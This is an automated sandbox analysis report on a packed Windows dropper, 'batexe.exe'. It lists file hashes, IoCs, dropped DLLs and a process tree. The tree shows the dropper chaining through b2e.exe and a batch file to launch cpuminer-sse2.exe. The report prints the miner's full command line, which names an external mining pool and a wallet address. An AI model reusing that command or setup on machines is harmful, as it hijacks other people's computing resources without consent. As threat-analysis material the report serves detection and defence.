73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
298s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
22/02/2024, 02:32

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3432	b2e.exe
4692	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4692	cpuminer-sse2.exe
4692	cpuminer-sse2.exe
4692	cpuminer-sse2.exe
4692	cpuminer-sse2.exe
4692	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1788-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1788 wrote to memory of 3432	1788	batexe.exe	76
PID 1788 wrote to memory of 3432	1788	batexe.exe	76
PID 1788 wrote to memory of 3432	1788	batexe.exe	76
PID 3432 wrote to memory of 3924	3432	b2e.exe	77
PID 3432 wrote to memory of 3924	3432	b2e.exe	77
PID 3432 wrote to memory of 3924	3432	b2e.exe	77
PID 3924 wrote to memory of 4692	3924	cmd.exe	80
PID 3924 wrote to memory of 4692	3924	cmd.exe	80

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1788
- C:\Users\Admin\AppData\Local\Temp\80A9.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\80A9.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\80A9.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3432
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\82BD.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3924
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\80A9.tmp\b2e.exe

Filesize
6.1MB

MD5
4ab3914d7592865b0c83f7185ed13d81

SHA1
bec200fdd43725414af301de8e759766d6b9311e

SHA256
260364e751d8e37486a5ac8c1056eea3c0bee3edb702e862e69536afb333cf3f

SHA512
3cd73fc9e4a658861b566b445caf08924a7bb2c09323f498e3c05da764e3afa9919e3fdd31c315682b4a0cd50eff93f391ff60c964cbee90ef34082945e9d835

Download Submit
C:\Users\Admin\AppData\Local\Temp\80A9.tmp\b2e.exe

Filesize
7.0MB

MD5
a2a7bfef805c3b4500151bca99527374

SHA1
5b0213c83ef22efe1f2280719afaff5bbf641e47

SHA256
16b1a003c8c435db6f717dbf4781f4e0ce0ce7347861cb65a8dc51b25b5d27a5

SHA512
0921d31f2c70d193b632126070a29e9fdabc8cf5ba57a9114f05c74fac4952a83716238a54e783f697854a8f4c0a343cd9196a77a94d152a09b6011636b58e23

Download Submit
C:\Users\Admin\AppData\Local\Temp\82BD.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.4MB

MD5
f882c6c30d1ce8d9cf02a960e6a8974f

SHA1
0e2e48b5e5a6f4332d7d87fc29438b4246587530

SHA256
04d9e176cfe51a713f76f74bbe7557f689e70cee1e0c79c339f480d1c6506f41

SHA512
f5b037e2c9303ed80113d9c9ccb9b2719f199b0aaaccf1f48e8ea0d55dbd447cca3e376754a9a888401501f7a99de50ad08fdc72cdf250dc6b661a4960151af6

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.4MB

MD5
8f5a66671bd9dc8c7faff5511760eee6

SHA1
1243a94824bafe628db667153bc83bd70654f04b

SHA256
9aa24b8fab4e4a9c6ba5ed54da3d105ecc02373035af8ffac2fd78070fa6e9f3

SHA512
2e1264bc3bc1c9000a07a16ac834c81a7a3a343b90d18fed8995459ebf9b5a6d2e16fcf6dbafbff96440e4a4001b6a408452bfe037334106b7abb6b2b5c023f3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
f97d5367e39ced6f6dd8cde975ee5da5

SHA1
1de90c94f60595d3a789b000aa60178f3069452a

SHA256
028fdd104e986a1c36802b8162f117299027330c2f2ba42bf9bc7035bdde8cde

SHA512
fdf7cfcbbbc0f7942f2f8480be3968fc7718b73343a3657e5e89c7ae497fdd74b350041ebeb6879081061e39b4a8ae5fd4fec98a2dffed5eecbcaf832c5d1ad0

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
af561358a5ec27e6e46e871d9c3594eb

SHA1
acac37d057e3d2bb0e6bdbfc5a71383a772428a6

SHA256
09c4c717ce09016d1d87d5677893045a7e8b6558dab6902cad5b221e39351662

SHA512
503a144e6c647356911c311efd2f20586ba29416949c5a6dd0a8403be90fdcb71fa83e1c134ab111303be13cfb6d0e772d61a1ae3b091693e1d161321bfbcb3e

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
4103b7a6408a1eb148c6157712095364

SHA1
1c204e0b4acbf34492aaa75cf74db6b04c9c5c3d

SHA256
91082d89b24e7a71f3590590efb24a5af15003fd5003cb1685e544e23dc36c94

SHA512
dd9f0df52c16a06976085bc9b5d749b7fc76a840b3182d8fca057fc9cb1ba6662800d599d893cd4ccb63bbd2ee3fe8c79268fe02d8b99543cc754700f43b09e1

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1788-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3432-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3432-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4692-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4692-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4692-43-0x0000000056750000-0x00000000567E8000-memory.dmp

Filesize
608KB

Download
memory/4692-44-0x0000000001080000-0x0000000002935000-memory.dmp

Filesize
24.7MB

Download
memory/4692-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4692-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4692-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4692-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4692-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4692-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4692-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4692-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4692-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4692-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4692-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download